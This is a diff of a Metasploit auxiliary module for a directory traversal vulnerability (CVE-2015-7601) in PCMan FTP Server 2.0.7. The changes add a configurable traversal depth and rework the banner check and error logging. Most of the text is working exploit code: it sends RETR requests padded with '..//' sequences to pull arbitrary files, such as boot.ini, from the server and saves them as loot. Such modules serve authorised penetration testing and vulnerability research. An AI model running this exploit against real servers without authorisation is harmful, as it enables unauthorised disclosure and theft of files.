@@ -13,41 +13,46 @@ class Metasploit3 < Msf::Auxiliary
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
16
- 'Name' => 'PCMan FTP Server Directory Traversal Information Disclosure' ,
17
- 'Description' => %q{
16
+ 'Name' => 'PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure' ,
17
+ 'Description' => %q{
18
18
This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7.
19
19
This vulnerability allows an attacker to download arbitrary files from the server by crafting
20
20
a RETR command that includes file system traversal strings such as '..//'
21
21
} ,
22
- 'Platform' => 'win' ,
23
- 'Author' =>
22
+ 'Platform' => 'win' ,
23
+ 'Author' =>
24
24
[
25
- 'Jay Turla <@shipcod3> ' , # msf and initial discovery
25
+ 'Jay Turla' , # @shipcod3, msf and initial discovery
26
26
'James Fitts' , # initial discovery
27
- 'Brad Wolfe' # brad.wolfe[at]gmail.com
27
+ 'Brad Wolfe < brad.wolfe[at]gmail.com>'
28
28
] ,
29
- 'License' => MSF_LICENSE ,
30
- 'References' =>
29
+ 'License' => MSF_LICENSE ,
30
+ 'References' =>
31
31
[
32
32
[ 'EDB' , '38340' ] ,
33
33
[ 'CVE' , '2015-7601' ]
34
34
] ,
35
- 'DisclosureDate' => 'Sep 28 2015' ) )
35
+ 'DisclosureDate' => 'Sep 28 2015'
36
+ ) )
36
37
37
38
register_options (
38
39
[
40
+ OptInt . new ( 'DEPTH' , [ true , 'Traversal Depth (to reach the root folder)' , 32 ] ) ,
39
41
OptString . new ( 'PATH' , [ true , "Path to the file to disclose, releative to the root dir." , 'boot.ini' ] )
40
42
] , self . class )
41
43
end
42
44
43
- def check
44
- connect
45
- disconnect
46
- if ( banner =~ /220 PCMan's FTP Server 2\. 0/ )
47
- return Exploit ::CheckCode ::Appears
48
- else
49
- return Exploit ::CheckCode ::Safe
45
+ def check_host ( ip )
46
+ begin
47
+ connect
48
+ if /220 PCMan's FTP Server 2\. 0/i === banner
49
+ return Exploit ::CheckCode ::Appears
50
+ end
51
+ ensure
52
+ disconnect
50
53
end
54
+
55
+ Exploit ::CheckCode ::Safe
51
56
end
52
57
53
58
def run_host ( target_host )
@@ -59,7 +64,7 @@ def run_host(target_host)
59
64
file = ::File . basename ( file_path )
60
65
61
66
# make RETR request and store server response message...
62
- retr_cmd = ( "..//" * 32 ) + "#{ file_path } "
67
+ retr_cmd = ( "..//" * datastore [ 'DEPTH' ] ) + "#{ file_path } "
63
68
res = send_cmd ( [ "RETR" , retr_cmd ] )
64
69
65
70
# read the file data from the socket that we opened
@@ -72,16 +77,16 @@ def run_host(target_host)
72
77
73
78
# store file data to loot
74
79
loot_file = store_loot ( "pcman.ftp.data" , "text" , rhost , response_data , file , file_path )
75
- print_status ( "Stored #{ file_path } to #{ loot_file } " )
76
-
77
- # Read and print the data from the loot file.
78
- info_disclosure = print_line ( loot_file )
79
- print_status ( "Printing contents of #{ file_path } " )
80
- print_good ( "Result:\n #{ info_disclosure } " )
81
-
82
- rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
83
- rescue ::Timeout ::Error , ::Errno ::EPIPE
80
+ vprint_status ( "Data returned:\n " )
81
+ vprint_line ( response_data )
82
+ print_good ( "Stored #{ file_path } to #{ loot_file } " )
84
83
84
+ rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout => e
85
+ vprint_error ( e . message )
86
+ elog ( "#{ e . class } #{ e . message } #{ e . backtrace * "\n " } " )
87
+ rescue ::Timeout ::Error , ::Errno ::EPIPE => e
88
+ vprint_error ( e . message )
89
+ elog ( "#{ e . class } #{ e . message } #{ e . backtrace * "\n " } " )
85
90
ensure
86
91
data_disconnect
87
92
disconnect
0 commit comments